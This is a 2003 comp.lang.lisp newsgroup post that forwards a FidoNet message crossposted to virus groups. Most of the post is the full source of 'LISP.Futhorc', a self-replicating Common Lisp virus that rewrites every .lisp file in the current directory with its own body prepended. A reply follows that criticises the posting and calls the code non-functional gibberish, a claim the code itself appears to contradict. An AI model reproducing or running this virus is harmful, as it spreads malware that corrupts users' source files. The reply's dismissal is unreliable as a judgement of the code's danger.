Перейти до Домашньої сторінки Груп Google    comp.lang.lisp
[Fwd] Just for fun

Christopher C. Stacy <cst...@dtpq.com>

>>>>> On Fri, 27 Jun 2003 13:32:13 +0700, Ivan Boldyrev ("Ivan") writes:

 Ivan> From: "Ilya V. Vasilyev" (2:5020/287)
 Ivan> Subject: Just for fun
 Ivan> Newsgroups: fido7.xsu.hacker
 Ivan> Date: Thu, 26 Jun 2003 10:27:28 +0600
 Ivan> Organization: Hackers' POWER BBS

 Ivan> =========================================================================== ==
 Ivan> * Forwarded by Ilya V. Vasilyev (2:5020/287)
 Ivan> * Area : su.cm (su.cm)
 Ivan> * From : andrew baranovich, 2:465/215 (Wednesday June 25 2003 15:21)
 Ivan> * To   : All
 Ivan> * Subj : Just for fun
 Ivan> =========================================================================== ==
 Ivan> * Originally in su.cm
 Ivan> Crossposted to pvt.virii
 Ivan> Crossposted to ru.virus

 Ivan> ;; Virus LISP.Futhorc by herm1t(at)netlux.org / Jun'03
 Ivan> (setq virus '(defun infect (&optional (ls (directory "*.lisp")))
 Ivan>   (defun writel (l s) (when l (write-line (car l) s) (writel (cdr l) s)))
 Ivan>   (when (setq vic (car ls))
 Ivan>     (let ((p nil)) (with-open-file (i vic :direction :input)
 Ivan>       (unless (equal (second (read i)) 'VIRUS) (file-position i 0)
 Ivan>         (loop (unless (setq line (read-line i nil nil)) (return))
 Ivan>           (setq p (append p (list line))))))
 Ivan>       (when p (with-open-file (o vic :direction :output)
 Ivan>         (format o "(setq virus '~S~%)(eval virus)(infect)~%" virus)
 Ivan>  (writel p o))))
 Ivan>     (infect (cdr ls))))
 Ivan> )(eval virus)(infect)

I would be circumspect in writing programs called "Virus" and posting
them on the net in so-called "hacker" newsgroups, even if it is supposed
to be (I assume) some kind of joke.  It looks like you are not the original
author of the "virus" program, but can you understand what you have posted?  
It's as if someone has cut-and-pasted fragments of Lisp code from
other programs, without understanding what they were copying.
This program is a lot of gibberish and does not do anything at all:
most of it is never even executed.